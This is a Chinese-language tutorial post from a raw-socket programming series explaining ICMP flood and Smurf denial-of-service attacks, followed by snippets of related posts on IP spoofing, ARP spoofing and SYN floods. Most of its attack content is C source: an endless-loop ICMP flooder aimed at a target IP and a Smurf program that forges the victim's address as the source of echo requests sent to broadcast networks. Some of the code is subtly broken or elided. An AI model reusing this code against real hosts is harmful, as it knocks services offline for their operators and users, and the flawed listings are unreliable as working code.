ICMP拒绝服务攻击(原始套接字系列四)

拒绝服务攻击(DoS)企图通过使被攻击的计算机资源消耗殆尽从而不能再提供服务,拒绝服务攻击是最容易实施的攻击行为。中美黑客大战中的中国黑客一般对美进行的就是拒绝服务攻击,其技术手段大多不够高明。

  ICMP实现拒绝服务攻击的途径有二:一者"单刀直入",一者"借刀杀人"。具体过程分析如下:
  
  ICMPFLOOD攻击

  大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。

  调用下面的程序可实现ICMP Flood攻击:

int icmpFlood(int PacketSize, char *DestIp, int type, int code)
{
 int datasize, ErrorCode;
 int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0;
 char SendBuf[65535] = { 0 };
 WSADATA wsaData;
 SOCKET SockRaw = (SOCKET)NULL;
 struct sockaddr_in DestAddr;
 ICMP_HEADER icmp_header; 
 if (PacketSize > 65500)
 {
  return FALSE;
 }

 if (type > 16)
 {
  return FALSE;
 }

 if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
 {
  return FALSE;
 }

 if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
 {
  return FALSE;
 }

 ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut));
 if (ErrorCode == SOCKET_ERROR)
 {
  return FALSE;
 }

 printf("Starting...\n\n");
 memset(&DestAddr, 0, sizeof(DestAddr));
 DestAddr.sin_family = AF_INET;
 DestAddr.sin_addr.s_addr = inet_addr(DestIp);

 icmp_header.i_type = type;
 icmp_header.i_code = code;
 icmp_header.i_cksum = 0;
 icmp_header.i_id = 2;
 icmp_header.timestamp = GetTickCount();
 icmp_header.i_seq = 999;
 memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
 memset(SendBuf + sizeof(icmp_header), ‘E‘, PacketSize);
 icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize);

 datasize = sizeof(icmp_header) + PacketSize;

 while (1)
 {
  printf("Sending 1024 packets...\n");
  for (counter = 0; counter < 1024; counter++)
  {
   ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
   if (ErrorCode == SOCKET_ERROR)
    printf("\nSend Error:%d\n", GetLastError());
  }
 }

 if (SockRaw != INVALID_SOCKET)
  closesocket(SockRaw);
 WSACleanup();
 return TRUE;
}

ICMP SMURF

  攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:

  从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照样威力无穷。

  一个实现ICMP SMURF的程序框架如下:

void icmpSmurf(void)
{
 struct sockaddr_in sin;
 struct hostent *he;
 FILE *bcastfile;
 int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
 char buf[32], **bcastaddr = malloc(8192);

 //…
 memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(0);
 //…

 x = 0;
 while (!feof(bcastfile))
 {
  fgets(buf, 32, bcastfile);
  if (buf[0] == ‘#‘ || buf[0] == ‘\n‘ || !isdigit(buf[0]))
   continue;
  for (i = 0; i < strlen(buf); i++)
   if (buf[i] == ‘\n‘)
    buf[i] = ‘\0‘;
    bcastaddr[x] = malloc(32);
    strcpy(bcastaddr[x], buf);
    x++;
 } 
 bcastaddr[x] = 0x0;
 fclose(bcastfile);

 if (x == 0)
 {
  fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  exit( - 1);
 }
 if (pktsize > 1024)
 {
  fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  exit( - 1);
 }

 if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
 {
  perror("getting socket");
  exit( - 1);
 }
 setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));

 printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

 for (i = 0; i < num || !num; i++)
 {
  if (!(i % 25))
  {
   printf(".");
   fflush(stdout);
  }
  smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  cycle++;
  if (bcastaddr[cycle] == 0x0)
   cycle = 0;
  usleep(delay);
 }
 puts("\n\n");
 return 0;
}

  其中调用的smurf()函数为:

void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
{
 struct iphdr *ip;
 struct icmphdr *icmp;
 char *packet;

 packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
 ip = (struct iphdr*)packet;
 icmp = (struct icmphdr*)(packet + sizeof(struct iphdr));

 memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

 ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
 ip->ihl = 5;
 ip->version = 4;
 ip->ttl = 255;
 ip->tos = 0;
 ip->frag_off = 0;
 ip->protocol = IPPROTO_ICMP;
 ip->saddr = sin.sin_addr.s_addr;
 ip->daddr = dest;
 ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr));
 icmp->type = 8;
 icmp->code = 0;
 icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize);

 sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0,
(struct sockaddr*) &sin, sizeof(struct sockaddr));

 free(packet); 
}

ICMP拒绝服务攻击(原始套接字系列四),布布扣,bubuko.com

时间: 2024-10-20 04:42:43

ICMP拒绝服务攻击(原始套接字系列四)的相关文章

原始套接字简介(原始套接字系列一)

大多数程序员所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的Socket,针对于面向连接的TCP服务应用: (2)数据报式套接字(SOCK_DGRAM):一种无连接的Socket,对应于无连接的UDP服务应用. 从用户的角度来看,SOCK_STREAM.SOCK_DGRAM这两类套接字似乎的确涵盖了TCP/IP应用的全部,因为基于TCP/IP的应用,从协议栈的层次上讲,在传输层的确只可能建立于TCP或UDP协议之上(图1),而SOCK_STRE

原始套接字基础(原始套接字系列二)

在进入Raw Socket多种强大的应用之前,我们先讲解怎样建立一个Raw Socket及怎样用建立的Raw Socket发送和接收IP包. 建立Raw Socket 在Windows平台上,为了使用Raw Socket,需先初始化WINSOCK: // 启动 WinsockWSAData wsaData;if (WSAStartup(MAKEWORD(2, 1), &wsaData) != 0){ cerr << "Failed to find Winsock 2.1 or

ping的实现(原始套接字系列三)

使用Raw Socket实现Ping 仅仅采用ICMP.DLL并不能完全实现ICMP灵活多变的各类报文,只有使用Raw Socket才是ICMP的终极解决之道. 使用Raw Socket发送ICMP报文前,我们要完全依靠自己的代码组装报文: //功能:初始化ICMP的报头, 给data部分填充数据, 计算校验和void init_ping_packet(ICMPHeader *icmp_hdr, int packet_size, int seq_no){ //设置ICMP报头字段 icmp_hd

ip欺骗(原始套接字系列九)

由于使用Raw Socket的时候,IP报头可完全由程序员自定义,所以我们可以任意地修改本地发送包的IP地址,使得接收方错误的认为IP报文是由欺骗地址发出的. 下面的程序演示了向某目标发送IP地址伪装的UDP报文的过程: void sendPesuoIpUDP(void){ WSADATA wsd; if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) { printf("WSAStartup() failed: %d ", GetLastErr

SNIFF(原始套接字系列六)

大家知道,以太网采用广播机制,所有与网络连接的工作站都可以看到网络上传递的数据.通过查看包含在帧中的目标地址,确定是否进行接收或放弃.如果证明数据确实是发给自己的,工作站将会接收数据并传递给高层协议进行处理.但是,如果让网卡置于混杂模式(Promiscuous mode),则网卡不会鉴别帧的MAC地址,而是一律接收. 上图给出了以太网的帧格式,网卡是通过图中的MAC地址进行ID标识的.传说中的网络嗅探(sniffer)就是指让网卡进入混杂模式从而接收正在局域网总线上发送的所有报文.为什么能够嗅探

ARP欺骗(原始套接字系列八)

ARP欺骗的原理可简单的解释如下:假设有三台主机A,B,C位于同一个交换式局域网中,监听者处于主机A,而主机B,C正在通信.现在A希望能嗅探到B->C的数据,于是A就可以伪装成C对B做ARP欺骗--向B发送伪造的ARP应答包,应答包中IP地址为C的IP地址而MAC地址为A的MAC地址. 这个应答包会刷新B的ARP缓存,让B认为A就是C,说详细点,就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址.这样,B想要发送给C的数据实际上却发送给了A,就达到了嗅探的目的.我们在嗅探到数据后,还

linux原始套接字(2)-icmp请求与接收

一.概述                                                    上一篇arp请求使用的是链路层的原始套接字.icmp封装在ip数据报里面,所以icmp请求可以直接使用网络层的原始套接字,即socket()第一个参数是PF_INET.如下: 1 sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); icmp报文不同的类型有不同的格式,我们以icmp回显请求和会显应答报文格式(即ping程序使用的报文类型)

002.原始套接字,构建ICMP包,实现Ping程序,简化版

大致流程: 将ICMP头和时间数据设置好后,通过创建好的原始套接字socket发出去.目的主机计算效验和后会将数据原样返回,用当前时间和返回的数据结算时间差,计算出rtt. 其中: 1.我们以ping www.baidu.com为例,但我们并没有计算平均rtt 2.我们并没有手动创建IP头,而是交给了内核去帮我们处理 3.中间设计到的函数需要查相关资料 代码实现: 1 /* 2 ===========================================================

原始套接字的使用之编程实现DOS攻击器

0x00 原理 SYN泛洪攻击(SYN Flood)是当前最流行的DoS与DDoS的方式之一,这是由于TCP协议的缺陷造成的.攻击者通过发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或者内存不足)的攻击方式. 首先要先了解正常情况下的TCP连接建立过程. (1)客户端发送一个Flag为SYN的TCP报文,并设置一个seq序列号x. (2)服务器接收到了这个报文,然后立刻发送一个Flag为SYN+ACK的报文,重要的  是服务器也会发送一个seq序列号,作为客户端验证的输入,